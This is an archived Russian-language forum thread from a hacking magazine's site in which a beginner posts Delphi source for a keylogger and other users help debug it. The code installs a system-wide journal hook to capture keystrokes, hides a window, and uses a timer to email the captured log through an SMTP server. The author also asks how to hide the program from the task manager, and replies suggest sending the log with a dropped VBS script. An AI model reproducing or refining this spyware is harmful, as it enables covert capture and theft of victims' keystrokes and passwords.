Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Ошибка при отправке письма

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Ошибка при отправке письма
Имя
Сообщение << Старые топики   Новые топики >>
Ошибка при отправке письма - 2007-09-29 18:35:46.503333   
Dr.KoD

Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
Хочу сразу сказать, что я начинающий, так что не судите оч строго, вот увидел у знакомого ваш журнал, "загорелся" начал изучать программирование, почитав кое какие статейки захотелось написать простенький кейлогер, с функцией письма с логом клавиш на майл, ну и что бы эта отправка было после открылия определенной программы, сделал мне кажется коряво, но лог на майл отправляет(код кейлогера был взят с журнала хакер). Может лучше написать клиент серверное приложение с помощью Indy компонентов и уже туда влепить функцию кейлогера, почитав про них мне кажется это будет проще сделать чем то что я наваял щас, но все равно хотелось бы для начала разобраться с этим, а уже потом переходить к другой теме. Так же немогу :( почемуто прикрепить к сообщению файл с логом, приходится извращаться и отправлять таким способом, что у меня реализован. Если нетрудно подправьте чуток мой код и напишите где я допустил ошибки.

Вываливается вот такая ошибочка, при отправке сообщения


а вот собсно и код проекта, написан в BDS 2006:
unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, StdCtrls, ExtCtrls; type TForm2 = class(TForm) IdSMTP1: TIdSMTP; IdMessage1: TIdMessage; Memo1: TMemo; Button1: TButton; Timer1: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} var HookHandle : THandle = INVALID_HANDLE_VALUE; Mess: TIdMessage; function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall; var EventMsg : PEventMsg; VirtCode : byte; ScanCode : dword; KeyState : TKeyboardState; Tmp, S : string; Res : integer; begin s := ''; if nCode = HC_ACTION then begin EventMsg := pointer(LParam); case EventMsg^.message of WM_KEYDOWN : begin VirtCode := EventMsg^.paramL and $FF; ScanCode := (EventMsg^.paramL and $FF00) shl 8; SetLength(Tmp, 32); Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp)); S := 'Нажата клавиша "'+copy(Tmp, 1, Res)+'"'; GetKeyboardState(KeyState); Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0); if Res &gt; 0 then S := S + ' символ = "'+copy(Tmp, 1, Res)+'"'; end; end; Form2.Memo1.Lines.Add(s); end; Result := CallNextHookEx(HookHandle, nCode, wParam, LParam); end; function InstallHook : boolean; begin if HookHandle = INVALID_HANDLE_VALUE then HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0); Result := HookHandle &lt;&gt; INVALID_HANDLE_VALUE; end; function RemoveHook : boolean; begin if HookHandle &lt;&gt; INVALID_HANDLE_VALUE then UnhookWindowsHookEx(HookHandle); HookHandle := INVALID_HANDLE_VALUE; Result := true; end; procedure TForm2.FormDestroy(Sender: TObject); begin RemoveHook; end; procedure TForm2.FormCreate(Sender: TObject); begin Application.OnMessage := OnAppMessage; InstallHook; if ShowWindow(FindWindow('Notepad', nil), sw_hide)then Timer1.Enabled := true; end; procedure TForm2.OnAppMessage(var Msg: TMsg; var Handled: Boolean); begin if (Msg.message = WM_CANCELJOURNAL) and (HookHandle &lt;&gt; INVALID_HANDLE_VALUE) then begin HookHandle := INVALID_HANDLE_VALUE; InstallHook; Handled := true; end; end; procedure TForm2.Timer1Timer(Sender: TObject); begin Mess:=TIdMessage.Create(NIL); Mess.From.Address:= 'xxxxx@xaker.ru'; Mess.Recipients.Add.Address:= 'xxxxx@xaker.ru'; Mess.Subject:='Tema'; Mess.Body.Text:= Form2.Memo1.Text; IdSMTP1.Host := 'smtp.xaker.ru'; IdSMTP1.Username := 'xxxxx@xaker.ru'; IdSMTP1.Password := 'passs'; IdSMTP1.Port := 25; IdSMTP1.Connect; IdSMTP1.Send(Mess); end; end.
Да и еще прошу не говорить, что программы такого рода надо писать на Win API или на асме, я еще только учусь и до написания каких то монстров далековато.
Заранее благодарен за ответы.
Post #: 1
RE: Ошибка при отправке письма - 2007-09-29 20:00:22.823333   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
В конец к процедуре procedure TForm2.Timer1Timer(Sender: TObject); добавь это:

Mess.Free;
IdSMTP1.Disconnect;
Post #: 2
RE: Ошибка при отправке письма - 2007-09-29 20:48:53.070000   
Dr.KoD

Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
Вот блин я балда, приконектился приконектился то, а вот отрубиться забыл. :( Спасиб.
И еще несколько вопросов:
– как все таки файл прицепить к сообщению?
– возможно ли еще как то отправить почту без компонентов Indy?
– как можно сделать так чтобы какоенить окно искалось не в момент создания формы, а отдельно от этой процедуры, а то убирая форму из загрузки или пряча от alt ctrl del, функция уже не пашет?
Напишишите пример если несложно. Заранее благодарен.
Post #: 3
RE: Ошибка при отправке письма - 2007-09-29 23:19:49.396666   
StrannikRiddler

Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
Там есть фишка Attachment. Создаешь динамически.

Без компонентов - можно. Но смысл, если требуется отказаться от VCL полностью.

PS. Кстати, вопрос. Создаю аттач - файл прикрепляется. Создаю второй аттач с тем же именем - файл 2 прикрепляется. Потом удаляем (после отправки). Но оба файла успешно доходят. Они не должны замещаться при пересоздании такого же объекта? Или у меня настолько ламерские познания?
Post #: 4
RE: Ошибка при отправке письма - 2007-09-29 23:28:12.626666   
Dr.KoD

Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
StrannikRiddler ну, а если ты удалил после отправки, то он полюбому отправился.
несовсем правда понял вопрос. покаж код чтоли, а то не оч понятно.
Post #: 5
RE: Ошибка при отправке письма - 2007-09-30 10:31:18.920000   
StrannikRiddler

Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
Логика

Создаем объект Attachment с именем Att (путь один)
Потом создаем объект Attachment с тем же именем Att (но путь другой)
Потом сколько угодно раз создаем Attachment с именем Att (пути все разные).

Все файлы успешно прикрепляются. Но я не понимаю, разве такое возможно (создание многих объектов с одним именем)?
Post #: 6
RE: Ошибка при отправке письма - 2007-09-30 10:58:02.600000   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
Пусть кейлог выплюнет vbs скрипт в катором и будет реализована функция отправки письма !
Post #: 7
RE: Ошибка при отправке письма - 2007-09-30 15:12:20.556666   
Dr.KoD

Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
Чет совсем за путался, перенес проект в делфи 7, а он нефига непашет, письмо никак нехочет отправляться, хотя код тот же, мож это делфя тупит, потому как код один в один? мож есть у кого есть 100% рабочий такой же проект под делфу 7, что бы проверить мож компилятор просто глючит. Да кстати прога нормально стартует но при отправке письма компилято переходит в режим отладки и указывает на ошибку во в этом месте IdSMTP1.Send(Mess); , а BDS после отправки сообщения выскакивает вообще ошибка без каких либо обозначений, дайте совет как сделать так чтобы работало как часы, а то уже замучался.
Заранее благодарен.

StrannikRiddler, да кажись этот касяк и во всех почтовых прогах есть, даж если прицепляеш один и тот же файл, по одному и тому же пути он всеравно прикрепляется к сообщению и оба файла доходят до адресата.
Post #: 8
RE: Ошибка при отправке письма - 2007-10-01 17:32:39.383333   
girlwap

Сообщений: 181
Оценки: 0
Присоединился: 2007-08-28 17:57:48.130000
Напиши лучше приложение клиент-сервер и всё. Проще будет.
Post #: 9
RE: Ошибка при отправке письма - 2007-10-01 19:05:59.103333   
Dr.KoD

Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
Да оно понятно, что проще, но хотелось бы разобраться с этим и выяснить почемуж неотправляется письмо из прги скомпилированной в делфи 7, в BDS все нормально пашет.
Post #: 10
RE: Ошибка при отправке письма - 2007-10-01 23:34:59.323333   
StrannikRiddler

Сообщений: 115
Оценки: 0
Присоединился: 2007-06-08 16:20:53.516666
Хз, как в Delphi 7, в Builder 6 (наиболее близкий) я так делал:
[b]&nbsp;&nbsp; [/b]TIdMessage* Msg = new TIdMessage(SMTP); &nbsp; Msg-&gt;From-&gt;Text = "от кого"; &nbsp; Msg-&gt;Recipients-&gt;EMailAddresses = "реципиенты"; &nbsp; Msg-&gt;Subject = "тема"; &nbsp; Msg-&gt;Body-&gt;Add("обычная строка в письме"); &nbsp; Msg-&gt;Priority = TIdMessagePriority(1); //приоритет &nbsp; TIdAttachment* one; &nbsp; one = new TIdAttachment(Msg-&gt;MessageParts,"путь к файлу"); &nbsp; SMTP-&gt;UserId = "юзер ID"; &nbsp; SMTP-&gt;Password = "пароль"; &nbsp; SMTP-&gt;Host = "хост"; &nbsp; SMTP-&gt;Port = 25;//порт по умолчанию &nbsp; SMTP-&gt;Connect(); &nbsp; try &nbsp; { &nbsp;&nbsp;&nbsp;&nbsp; SMTP-&gt;Send(Msg); &nbsp; } &nbsp; __finally &nbsp; { &nbsp;&nbsp;&nbsp;&nbsp; SMTP-&gt;Disconnect(); &nbsp; } &nbsp; delete one; &nbsp; delete Msg;[b] [/b]
Post #: 11
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Ошибка при отправке письма







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.